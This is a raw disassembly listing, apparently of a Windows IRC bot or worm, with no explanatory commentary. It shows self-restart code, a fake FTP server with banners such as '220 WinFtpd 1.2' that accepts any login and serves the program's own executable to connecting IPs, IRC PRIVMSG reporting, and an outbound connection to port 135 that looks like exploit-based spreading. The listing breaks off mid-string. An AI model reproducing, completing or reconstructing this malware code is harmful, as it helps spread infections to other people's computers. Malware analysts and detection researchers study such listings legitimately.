Assembly Code of File sub_40D1EF
sub_402795 proc near ; DATA XREF: sub_40D1EF + 14o
var_2B8 = dword ptr - 2B8h
var_25C = byte ptr - 25Ch
var_158 = byte ptr - 158h
var_54 = dword ptr - 54h
var_48 = dword ptr - 48h
var_28 = dword ptr - 28h
var_24 = word ptr - 24h
var_10 = dword ptr - 10h
var_C = dword ptr - 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 25Ch
push ebx
push esi
push edi
push dword_434344
call dword_4335AC ; closesocket
call sub_41105B
call dword_4335B8 ; WSACleanup
call dword_4335B8 ; WSACleanup
mov ebx, ds:dword_41F000
push 64h
call ebx ; Sleep
xor eax, eax
lea edi, [ ebp + var_10 ]
stosd
stosd
stosd
stosd
push 11h
pop ecx
xor eax, eax
lea edi, [ ebp + var_54 ]
rep stosd
mov esi, 104h
push esi
lea eax, [ ebp + var_158 ]
xor edi, edi
push eax
mov [ ebp + var_48 ], (offset asc_41FA74 + 2)
mov [ ebp + var_54 ], 44h
mov [ ebp + var_28 ], 1
mov [ ebp + var_24 ], di
call ds:dword_41F040 ; GetSystemDirectoryA
push esi
lea eax, [ ebp + var_25C ]
push eax
push edi
call ds:dword_41F010 ; GetModuleFileNameA
lea eax, [ ebp + var_10 ]
push eax
lea eax, [ ebp + var_54 ]
push eax
lea eax, [ ebp + var_158 ]
push eax
push edi
push 28h
push 1
push edi
push edi
lea eax, [ ebp + var_25C ]
push eax
push edi
call ds:dword_41F030 ; CreateProcessA
test eax, eax
jz short loc_402854
push 64h
call ebx ; Sleep
push [ ebp + var_10 ]
mov esi, ds:dword_41F034
call esi ; CloseHandle
push [ ebp + var_C ]
call esi ; CloseHandle
loc_402854: ; CODE XREF: sub_402795 + A9j
mov eax, [ ebp + arg_8 ]
mov dword ptr [ eax + 0B0h ], offset dword_432FEC
mov eax, [ esp + 2B8h + var_2B8 ]
mov large fs:0, eax
add esp, 8
push edi
call ds:dword_41F02C ; ExitProcess
int 3 ; Trap to Debugger
sub_402795 endp ; sp - analysis failed
########################## SUBROUTINE ##########################
sub_402875 proc near ; CODE XREF: sub_4028A8 + 11Cp
; sub_4028A8 + 145p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov edx, [ ebp + arg_4 ]
sub edx, [ ebp + arg_C ]
push ebx
push esi
xor eax, eax
test edx, edx
push edi
jle short loc_40289D
loc_402887: ; CODE XREF: sub_402875 + 26j
mov esi, [ ebp + arg_0 ]
mov ecx, [ ebp + arg_C ]
mov edi, [ ebp + arg_8 ]
add esi, eax
xor ebx, ebx
repe cmpsb
jz short loc_4028A4
inc eax
cmp eax, edx
jl short loc_402887
loc_40289D: ; CODE XREF: sub_402875 + 10j
xor al, al
loc_40289F: ; CODE XREF: sub_402875 + 31j
pop edi
pop esi
pop ebx
pop ebp
retn
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_4028A4: ; CODE XREF: sub_402875 + 21j
mov al, 1
jmp short loc_40289F
sub_402875 endp
########################## SUBROUTINE ##########################
sub_4028A8 proc near ; CODE XREF: .text:00412172p
var_2010 = byte ptr - 2010h
var_200E = byte ptr - 200Eh
var_10 = word ptr - 10h
var_E = word ptr - 0Eh
var_C = dword ptr - 0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 2010h
call sub_412DD0
mov eax, [ ebp + arg_4 ]
dec eax
jz short loc_4028E5
dec eax
jz short loc_4028C3
dec eax
xor eax, eax
leave
retn
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_4028C3: ; CODE XREF: sub_4028A8 + 14j
push 3
push 1388h
push [ ebp + arg_0 ]
call dword_433514 ; inet_addr
push eax
call sub_4015FE
add esp, 0Ch
neg eax
sbb eax, eax
and eax, 3
leave
retn
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_4028E5: ; CODE XREF: sub_4028A8 + 11j
push ebx
push esi
push 6
push 1
push 2
call dword_4334A0 ; socket
mov esi, eax
or ebx, 0FFFFFFFFh
xor eax, eax
cmp esi, ebx
mov [ ebp + arg_4 ], esi
jz loc_402A0A
push edi
lea edi, [ ebp + var_10 ]
stosd
stosd
stosd
stosd
push 87h
mov [ ebp + var_10 ], 2
call dword_4335EC ; ntohs
push [ ebp + arg_0 ]
mov [ ebp + var_E ], ax
call sub_406B1D
pop ecx
mov [ ebp + var_C ], eax
push 10h
lea eax, [ ebp + var_10 ]
push eax
push esi
call dword_433458 ; connect
cmp eax, ebx
jz short loc_402954
xor edi, edi
push edi
push 48h
push offset dword_42A368
push esi
call dword_433534 ; send
cmp eax, ebx
jnz short loc_40295B
loc_402954: ; CODE XREF: sub_4028A8 + 95j
; sub_4028A8 + CCj ...
xor esi, esi
jmp loc_4029FE
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_40295B: ; CODE XREF: sub_4028A8 + AAj
push edi
mov esi, 2000h
push esi
lea eax, [ ebp + var_2010 ]
push eax
push [ ebp + arg_4 ]
call dword_433414 ; recv
cmp eax, ebx
jz short loc_402954
cmp [ ebp + var_200E ], 0Ch
jnz short loc_402954
push edi
push 18h
push offset dword_42A3B4
push [ ebp + arg_4 ]
call dword_433534 ; send
cmp eax, ebx
jz short loc_402954
push edi
push esi
lea eax, [ ebp + var_2010 ]
push eax
push [ ebp + arg_4 ]
call dword_433414 ; recv
mov esi, eax
cmp esi, ebx
jz short loc_402954
cmp [ ebp + var_200E ], 2
jnz short loc_402954
push 10h
push offset loc_42A3D0
lea eax, [ ebp + var_2010 ]
push esi
push eax
call sub_402875
add esp, 10h
test al, al
jz short loc_4029DE
xor eax, eax
cmp esi, 12Ch
setnl al
inc eax
jmp short loc_4029FC
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_4029DE: ; CODE XREF: sub_4028A8 + 126j
push 10h
push offset dword_42A3E4
lea eax, [ ebp + var_2010 ]
push esi
push eax
call sub_402875
add esp, 10h
neg al
sbb eax, eax
and eax, 3
loc_4029FC: ; CODE XREF: sub_4028A8 + 134j
mov esi, eax
loc_4029FE: ; CODE XREF: sub_4028A8 + AEj
push [ ebp + arg_4 ]
call dword_4335AC ; closesocket
mov eax, esi
pop edi
loc_402A0A: ; CODE XREF: sub_4028A8 + 57j
pop esi
pop ebx
leave
retn
sub_4028A8 endp
########################## SUBROUTINE ##########################
sub_402A0E proc near ; CODE XREF: sub_402B1D + 4A2p
var_1A0 = byte ptr - 1A0h
var_10 = word ptr - 10h
var_E = word ptr - 0Eh
var_C = dword ptr - 0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1A0h
lea eax, [ ebp + var_1A0 ]
push eax
push 101h
call ds:dword_41F1EC
push 0
push 1
push 2
call ds:dword_41F1F0
push [ ebp + arg_0 ]
mov dword_432FF0, eax
mov [ ebp + var_10 ], 2
call ds:dword_41F1F4
push [ ebp + arg_4 ]
mov [ ebp + var_C ], eax
call ds:dword_41F204
mov [ ebp + var_E ], ax
push 10h
lea eax, [ ebp + var_10 ]
push eax
push dword_432FF0
call ds:dword_41F1F8
cmp eax, 0FFFFFFFFh
jnz short loc_402A86
push dword_432FF0
call ds:dword_41F1FC
call ds:dword_41F200
xor eax, eax
leave
retn
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_402A86: ; CODE XREF: sub_402A0E + 60j
xor eax, eax
inc eax
leave
retn
sub_402A0E endp
########################## SUBROUTINE ##########################
sub_402A8B proc near ; CODE XREF: sub_402B1D + 4AEp
var_504 = byte ptr - 504h
var_104 = byte ptr - 104h
push ebp
mov ebp, esp
sub esp, 504h
push esi
push 104h
lea eax, [ ebp + var_104 ]
push eax
push 0
call ds:dword_41F010 ; GetModuleFileNameA
lea eax, [ ebp + var_104 ]
push offset dword_41F968
push eax
call sub_413393
mov esi, eax
test esi, esi
pop ecx
pop ecx
jnz short loc_402AF8
jmp short loc_402B1A
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_402AC4: ; CODE XREF: sub_402A8B + 72j
push 400h
lea eax, [ ebp + var_504 ]
push 1
push eax
call sub_41313E
add esp, 10h
push 0
push eax
lea eax, [ ebp + var_504 ]
push eax
push dword_432FF0
call ds:dword_41F1E8
push 0Ah
call ds:dword_41F000 ; Sleep
loc_402AF8: ; CODE XREF: sub_402A8B + 35j
test byte ptr [ esi + 0Ch ], 10h
push esi
jz short loc_402AC4
call sub_412F93
pop ecx
push dword_432FF0
call ds:dword_41F1FC
call ds:dword_41F200
xor eax, eax
inc eax
loc_402B1A: ; CODE XREF: sub_402A8B + 37j
pop esi
leave
retn
sub_402A8B endp
########################## SUBROUTINE ##########################
sub_402B1D proc near ; DATA XREF: sub_401141 + 254o
var_A6C = byte ptr - 0A6Ch
var_8DC = byte ptr - 8DCh
var_6DC = dword ptr - 6DCh
var_6D8 = byte ptr - 6D8h
var_4C4 = byte ptr - 4C4h
var_444 = dword ptr - 444h
var_440 = dword ptr - 440h
var_438 = dword ptr - 438h
var_334 = byte ptr - 334h
var_2D0 = byte ptr - 2D0h
var_29C = byte ptr - 29Ch
var_238 = byte ptr - 238h
var_228 = dword ptr - 228h
var_224 = dword ptr - 224h
var_220 = dword ptr - 220h
var_124 = byte ptr - 124h
var_F8 = byte ptr - 0F8h
var_C4 = byte ptr - 0C4h
var_AC = byte ptr - 0ACh
var_48 = byte ptr - 48h
var_38 = word ptr - 38h
var_36 = word ptr - 36h
var_34 = dword ptr - 34h
var_28 = byte ptr - 28h
var_24 = dword ptr - 24h
var_20 = byte ptr - 20h
var_1C = dword ptr - 1Ch
var_18 = dword ptr - 18h
var_14 = byte ptr - 14h
var_10 = dword ptr - 10h
var_C = byte ptr - 0Ch
var_8 = dword ptr - 8
var_4 = dword ptr - 4
arg_0 = dword ptr 8
push ebp
lea ebp, [ esp - 74h ]
sub esp, 0A6Ch
mov eax, [ ebp + 74h + arg_0 ]
push ebx
push esi
push edi
mov esi, eax
xor ebx, ebx
inc ebx
mov ecx, 0A9h
lea edi, [ ebp + 74h + var_6DC ]
rep movsd
mov [ eax + 2A0h ], ebx
lea eax, [ ebp + 74h + var_A6C ]
push eax
xor esi, esi
push 101h
mov [ ebp + 74h + var_18 ], ebx
mov [ ebp + 74h + var_1C ], ebx
mov [ ebp + 74h + var_228 ], esi
mov [ ebp + 74h + var_438 ], esi
call ds:dword_41F1EC
push esi
call sub_413820
push eax
call sub_412D64
mov eax, [ ebp + 74h + arg_0 ]
mov eax, [ eax + 214h ]
pop ecx
pop ecx
push esi
push ebx
push 2
mov dword_432FF4, eax
call ds:dword_41F1F0
mov ebx, eax
push 4
lea eax, [ ebp + 74h + var_18 ]
push eax
push 4
push 0FFFFh
push ebx
mov [ ebp + 74h + var_8 ], ebx
call ds:dword_41F1C8
lea eax, [ ebp + 74h + var_1C ]
push eax
push 8004667Eh
push ebx
call ds:dword_41F1CC
xor eax, eax
mov ax, word ptr dword_432FF4
mov [ ebp + 74h + var_38 ], 2
mov [ ebp + 74h + var_34 ], esi
push eax
call ds:dword_41F204
mov [ ebp + 74h + var_36 ], ax
push 10h
lea eax, [ ebp + 74h + var_38 ]
push eax
push ebx
call ds:dword_41F1D0
test eax, eax
jl loc_4030B7
push 0Ah
push ebx
call ds:dword_41F1D4
push 41h
pop ecx
xor eax, eax
push eax
push eax
push eax
lea eax, [ ebp + 74h + var_438 ]
mov [ ebp + 74h + var_224 ], ebx
mov [ ebp + 74h + var_4 ], ebx
push eax
inc ebx
lea esi, [ ebp + 74h + var_228 ]
lea edi, [ ebp + 74h + var_438 ]
mov [ ebp + 74h + var_228 ], 1
push ebx
rep movsd
call ds:dword_41F1D8
cmp eax, 0FFFFFFFFh
jz loc_4030B7
mov ebx, ds:dword_41F1E8
loc_402C3C: ; CODE XREF: sub_402B1D + 594j
xor esi, esi
cmp [ ebp + 74h + var_4 ], esi
mov [ ebp + 74h + arg_0 ], esi
jl loc_403086
loc_402C4A: ; CODE XREF: sub_402B1D + 563j
push 19h
pop ecx
xor eax, eax
push 19h
lea edi, [ ebp + 74h + var_29C ]
rep stosd
pop ecx
lea edi, [ ebp + 74h + var_AC ]
rep stosd
lea eax, [ ebp + 74h + var_438 ]
push eax
push esi
call sub_41E8A0
test eax, eax
jz loc_403079
cmp esi, [ ebp + 74h + var_8 ]
jnz short loc_402CE4
push 10h
pop edi
lea eax, [ ebp + 74h + var_24 ]
push eax
lea eax, [ ebp + 74h + var_238 ]
push eax
push [ ebp + 74h + var_8 ]
mov [ ebp + 74h + var_24 ], edi
call ds:dword_41F1E0
cmp eax, 0FFFFFFFFh
jz loc_403079
mov edx, [ ebp + 74h + var_228 ]
xor ecx, ecx
test edx, edx
jbe short loc_402CB6
loc_402CA8: ; CODE XREF: sub_402B1D + 197j
cmp [ ebp + ecx * 4 + 74h + var_224 ], eax
jz short loc_402CB6
inc ecx
cmp ecx, edx
jb short loc_402CA8
loc_402CB6: ; CODE XREF: sub_402B1D + 189j
; sub_402B1D + 192j
cmp ecx, edx
jnz short loc_402CCC
cmp edx, 40h
jnb short loc_402CCC
mov [ ebp + ecx * 4 + 74h + var_224 ], eax
inc [ ebp + 74h + var_228 ]
loc_402CCC: ; CODE XREF: sub_402B1D + 19Bj
; sub_402B1D + 1A0j
cmp eax, [ ebp + 74h + var_4 ]
jle short loc_402CD4
mov [ ebp + 74h + var_4 ], eax
loc_402CD4: ; CODE XREF: sub_402B1D + 1B2j
push 0
push edi
push offset a220Winftpd1_2 ; \"220 WinFtpd 1.2\n\"
push eax
call ebx
jmp loc_403079
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_402CE4: ; CODE XREF: sub_402B1D + 15Aj
push 0
push 64h
lea eax, [ ebp + 74h + var_29C ]
push eax
push esi
call ds:dword_41F1E4
test eax, eax
jg short loc_402D42
mov ecx, [ ebp + 74h + var_228 ]
xor eax, eax
test ecx, ecx
jbe short loc_402D36
loc_402D06: ; CODE XREF: sub_402B1D + 1F5j
cmp [ ebp + eax * 4 + 74h + var_224 ], esi
jz short loc_402D2B
inc eax
cmp eax, ecx
jb short loc_402D06
jmp short loc_402D36
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_402D16: ; CODE XREF: sub_402B1D + 211j
mov ecx, [ ebp + eax * 4 + 74h + var_220 ]
mov [ ebp + eax * 4 + 74h + var_224 ], ecx
mov ecx, [ ebp + 74h + var_228 ]
inc eax
loc_402D2B: ; CODE XREF: sub_402B1D + 1F0j
dec ecx
cmp eax, ecx
jb short loc_402D16
dec [ ebp + 74h + var_228 ]
loc_402D36: ; CODE XREF: sub_402B1D + 1E7j
; sub_402B1D + 1F7j
push esi
call ds:dword_41F1FC
jmp loc_403079
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_402D42: ; CODE XREF: sub_402B1D + 1DBj
lea eax, [ ebp + 74h + var_334 ]
push eax
lea eax, [ ebp + 74h + var_AC ]
push eax
lea eax, [ ebp + 74h + var_29C ]
push offset aSS_0 ; \"%s %s\"
push eax
call sub_412D93
add esp, 10h
push 5
pop edx
mov edi, offset aUser_0 ; \"USER\"
lea esi, [ ebp + 74h + var_AC ]
mov ecx, edx
xor eax, eax
repe cmpsb
jnz short loc_402D81
push eax
push 16h
push offset a331PasswordReq ; \"331 Password required\n\"
jmp loc_403064
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_402D81: ; CODE XREF: sub_402B1D + 255j
mov edi, offset aPass ; \"PASS\"
lea esi, [ ebp + 74h + var_AC ]
mov ecx, edx
xor eax, eax
repe cmpsb
jnz short loc_402D9E
push eax
push 14h
push offset a230UserLoggedI ; \"230 User logged in.\n\"
jmp loc_403064
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_402D9E: ; CODE XREF: sub_402B1D + 272j
mov edi, offset aSyst ; \"SYST\"
lea esi, [ ebp + 74h + var_AC ]
mov ecx, edx
xor eax, eax
repe cmpsb
jnz short loc_402DBB
push eax
push 0Dh
push offset a215Stnyftpd ; \"215 StnyFtpd\n\"
jmp loc_403064
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_402DBB: ; CODE XREF: sub_402B1D + 28Fj
mov edi, offset aRest ; \"REST\"
lea esi, [ ebp + 74h + var_AC ]
mov ecx, edx
xor eax, eax
repe cmpsb
jnz short loc_402DD8
push eax
push 10h
push offset a350Restarting_ ; \"350 Restarting.\n\"
jmp loc_403064
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_402DD8: ; CODE XREF: sub_402B1D + 2ACj
push 4
mov edi, offset off_41FE14
lea esi, [ ebp + 74h + var_AC ]
pop ecx
xor eax, eax
repe cmpsb
jnz short loc_402DF6
push eax
push 1Eh
push offset a257IsCurrentDi ; \"257 \\"/\\" is current directory.\n\"
jmp loc_403064
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_402DF6: ; CODE XREF: sub_402B1D + 2CAj
mov eax, offset aType ; \"TYPE\"
mov ecx, edx
mov edi, eax
lea esi, [ ebp + 74h + var_AC ]
xor edx, edx
repe cmpsb
jnz short loc_402E29
push 2
mov edi, offset aA_0 ; \"A\"
lea esi, [ ebp + 74h + var_334 ]
pop ecx
xor edx, edx
repe cmpsb
jnz short loc_402E29
push edx
push 13h
push offset a200TypeSetToA_ ; \"200 Type set to A.\n\"
jmp loc_403064
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_402E29: ; CODE XREF: sub_402B1D + 2E9j
; sub_402B1D + 2FDj
mov edi, eax
push 5
pop eax
lea esi, [ ebp + 74h + var_AC ]
mov ecx, eax
xor edx, edx
repe cmpsb
jnz short loc_402E5A
push 2
mov edi, offset aI ; \"I\"
lea esi, [ ebp + 74h + var_334 ]
pop ecx
xor edx, edx
repe cmpsb
jnz short loc_402E5A
push edx
push 13h
push offset a200TypeSetToI_ ; \"200 Type set to I.\n\"
jmp loc_403064
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_402E5A: ; CODE XREF: sub_402B1D + 31Aj
; sub_402B1D + 32Ej
mov edi, offset aPasv ; \"PASV\"
lea esi, [ ebp + 74h + var_AC ]
mov ecx, eax
xor edx, edx
repe cmpsb
jnz short loc_402E99
push 0Ah
pop ecx
mov esi, offset a425PassiveNotS ; \"425 Passive not supported on this serve\"...
lea edi, [ ebp + 74h + var_124 ]
rep movsd
lea eax, [ ebp + 74h + var_124 ]
movsw
lea edx, [ eax + 1 ]
loc_402E85: ; CODE XREF: sub_402B1D + 36Dj
mov cl, [ eax ]
inc eax
test cl, cl
jnz short loc_402E85
sub eax, edx
push 0
push eax
lea eax, [ ebp + 74h + var_124 ]
jmp short loc_402ECD
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_402E99: ; CODE XREF: sub_402B1D + 34Bj
mov edi, offset aList ; \"LIST\"
lea esi, [ ebp + 74h + var_AC ]
mov ecx, eax
xor edx, edx
repe cmpsb
mov ecx, eax
jnz short loc_402ED3
mov esi, offset a226TransferCom ; \"226 Transfer complete\n\"
lea edi, [ ebp + 74h + var_C4 ]
rep movsd
movsw
lea eax, [ ebp + 74h + var_C4 ]
movsb
lea edx, [ eax + 1 ]
loc_402EBE: ; CODE XREF: sub_402B1D + 3A6j
mov cl, [ eax ]
inc eax
test cl, cl
jnz short loc_402EBE
sub eax, edx
push 0
push eax
lea eax, [ ebp + 74h + var_C4 ]
loc_402ECD: ; CODE XREF: sub_402B1D + 37Aj
push eax
jmp loc_403064
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_402ED3: ; CODE XREF: sub_402B1D + 38Cj
mov edi, offset aPort ; \"PORT\"
lea esi, [ ebp + 74h + var_AC ]
xor edx, edx
repe cmpsb
jnz loc_402F97
lea eax, [ ebp + 74h + var_2D0 ]
push eax
lea eax, [ ebp + 74h + var_F8 ]
push eax
lea eax, [ ebp + 74h + var_28 ]
push eax
lea eax, [ ebp + 74h + var_20 ]
push eax
lea eax, [ ebp + 74h + var_14 ]
push eax
lea eax, [ ebp + 74h + var_C ]
push eax
lea eax, [ ebp + 74h + var_29C ]
push offset aS ; \"% * s %[ ^, ],%[ ^, ],%[ ^, ],%[ ^, ],%[ ^, ],%[ ^\n ]\"...
push eax
call sub_412D93
lea eax, [ ebp + 74h + var_F8 ]
push eax
call sub_412F42
mov esi, eax
lea eax, [ ebp + 74h + var_2D0 ]
push eax
call sub_412F42
push 0Ch
mov edx, eax
pop ecx
xor eax, eax
lea edi, [ ebp + 74h + var_F8 ]
rep stosd
push edx
push esi
stosw
lea eax, [ ebp + 74h + var_F8 ]
push offset aXX ; \"%x%x\n\"
push eax
call sub_412BB5
push 10h
lea eax, [ ebp + 74h + var_F8 ]
push 0
push eax
call sub_413809
mov [ ebp + 74h + var_10 ], eax
add esp, 44h
lea eax, [ ebp + 74h + var_28 ]
push eax
lea eax, [ ebp + 74h + var_20 ]
push eax
lea eax, [ ebp + 74h + var_14 ]
push eax
lea eax, [ ebp + 74h + var_C ]
push eax
lea eax, [ ebp + 74h + var_48 ]
push offset aS_S_S_S ; \"%s.%s.%s.%s\"
push eax
call sub_412BB5
add esp, 18h
push 0
push 1Dh
push offset a200PortCommand ; \"200 PORT command successful.\n\"
jmp loc_403064
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_402F97: ; CODE XREF: sub_402B1D + 3C2j
mov edi, offset aRetr ; \"RETR\"
lea esi, [ ebp + 74h + var_AC ]
mov ecx, eax
xor edx, edx
repe cmpsb
jnz loc_40304C
push edx
push 28h
push offset a150OpeningBina ; \"150 Opening BINARY mode data connection\"...
push [ ebp + 74h + arg_0 ]
call ebx
push [ ebp + 74h + var_10 ]
lea eax, [ ebp + 74h + var_48 ]
push eax
call sub_402A0E
cmp eax, 1
pop ecx
pop ecx
jnz short loc_403041
call sub_402A8B
cmp eax, 1
jnz loc_403069
xor esi, esi
push esi
push 17h
push offset a226TransferC_0 ; \"226 Transfer complete.\n\"
push [ ebp + 74h + arg_0 ]
call ebx
lea eax, [ ebp + 74h + var_6D8 ]
push eax
lea eax, [ ebp + 74h + var_48 ]
push eax
lea eax, [ ebp + 74h + var_8DC ]
push offset aFtpFileTransfe ; \"[ FTP ]: File transfer complete to IP: %s\"...
push eax
call sub_412BB5
add esp, 10h
cmp [ ebp + 74h + var_440 ], esi
jnz short loc_403032
push esi
push [ ebp + 74h + var_444 ]
lea eax, [ ebp + 74h + var_8DC ]
push eax
lea eax, [ ebp + 74h + var_4C4 ]
push eax
push [ ebp + 74h + var_6DC ]
call sub_4045DD
add esp, 14h
loc_403032: ; CODE XREF: sub_402B1D + 4F0j
lea eax, [ ebp + 74h + var_8DC ]
push eax
call sub_401C33
pop ecx
jmp short loc_403069
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_403041: ; CODE XREF: sub_402B1D + 4ACj
push 0
push 20h
push offset a425CanTOpenDat ; \"425 Can't open data connection.\n\"
jmp short loc_403064
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_40304C: ; CODE XREF: sub_402B1D + 488j
mov ecx, eax
mov edi, offset aQuit ; \"QUIT\"
lea esi, [ ebp + 74h + var_AC ]
xor eax, eax
repe cmpsb
jnz short loc_403069
push eax
push 0Dh
push offset a221Goodbye_ ; \"221 Goodbye.\n\"
loc_403064: ; CODE XREF: sub_402B1D + 25Fj
; sub_402B1D + 27Cj ...
push [ ebp + 74h + arg_0 ]
call ebx
loc_403069: ; CODE XREF: sub_402B1D + 4B6j
; sub_402B1D + 522j ...
mov esi, [ ebp + 74h + arg_0 ]
push 19h
pop ecx
xor eax, eax
lea edi, [ ebp + 74h + var_29C ]
rep stosd
loc_403079: ; CODE XREF: sub_402B1D + 151j
; sub_402B1D + 179j ...
inc esi
cmp esi, [ ebp + 74h + var_4 ]
mov [ ebp + 74h + arg_0 ], esi
jle loc_402C4A
loc_403086: ; CODE XREF: sub_402B1D + 127j
push 41h
pop ecx
xor eax, eax
push eax
push eax
push eax
lea eax, [ ebp + 74h + var_438 ]
push eax
mov eax, [ ebp + 74h + var_4 ]
inc eax
lea esi, [ ebp + 74h + var_228 ]
lea edi, [ ebp + 74h + var_438 ]
push eax
rep movsd
call ds:dword_41F1D8
cmp eax, 0FFFFFFFFh
jnz loc_402C3C
loc_4030B7: ; CODE XREF: sub_402B1D + C9j
; sub_402B1D + 113j
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
add ebp, 74h
leave
retn 4
sub_402B1D endp
########################## SUBROUTINE ##########################
sub_4030C4 proc near ; CODE XREF: sub_4039DE + 149p
; sub_4078FA + 355Dp
var_598 = byte ptr - 598h
var_494 = byte ptr - 494h
var_38C = dword ptr - 38Ch
var_378 = byte ptr - 378h
var_36C = dword ptr - 36Ch
var_360 = byte ptr - 360h
var_24C = byte ptr - 24Ch
var_4C = byte ptr - 4Ch
var_24 = byte ptr - 24h
var_1C = word ptr - 1Ch
var_1A = word ptr - 1Ah
var_16 = word ptr - 16h
var_14 = word ptr - 14h
var_12 = word ptr - 12h
var_C = dword ptr - 0Ch
var_8 = dword ptr - 8
var_4 = dword ptr - 4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 598h
push ebx
push esi
push edi
push 41h
pop ecx
xor eax, eax
lea edi, [ ebp + var_598 ]
rep stosd
mov edi, [ ebp + arg_0 ]
xor ebx, ebx
push offset asc_420328 ; \"\n\"
push edi
mov [ ebp + var_4 ], ebx
mov [ ebp + var_8 ], ebx
call sub_413859
cmp [ ebp + arg_8 ], ebx
pop ecx
pop ecx
jz short loc_40311D
push edi
push [ ebp + arg_8 ]
mov esi, 200h
push offset aPrivmsgSSearch ; \"PRIVMSG %s :Searching for: %s\r\n\"
lea eax, [ ebp + var_24C ]
push esi
push eax
call sub_412E0D
add esp, 14h
jmp loc_40323A
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_40311D: ; CODE XREF: sub_4030C4 + 34j
cmp [ ebp + arg_C ], ebx
jz loc_40321F
mov eax, edi
lea ecx, [ eax + 1 ]
loc_40312B: ; CODE XREF: sub_4030C4 + 6Cj
mov dl, [ eax ]
inc eax
test dl, dl
jnz short loc_40312B
push edi
sub eax, ecx
and [ eax + edi - 1 ], dl
push offset aHtmlHeadTitleI ; \"\r\n\r\nIndex of %s200h
lea eax, [ ebp + var_24C ]
push esi
push eax
call sub_412E0D
lea eax, [ ebp + var_24C ]
add esp, 10h
lea ecx, [ eax + 1 ]
loc_40315C: ; CODE XREF: sub_4030C4 + 9Dj
mov dl, [ eax ]
inc eax
test dl, dl
jnz short loc_40315C
push ebx
sub eax, ecx
push eax
lea eax, [ ebp + var_24C ]
push eax
push [ ebp + arg_4 ]
call dword_433534 ; send
push edi
push offset aH1IndexOfSH1Ta ; \"Index of %s
\r\n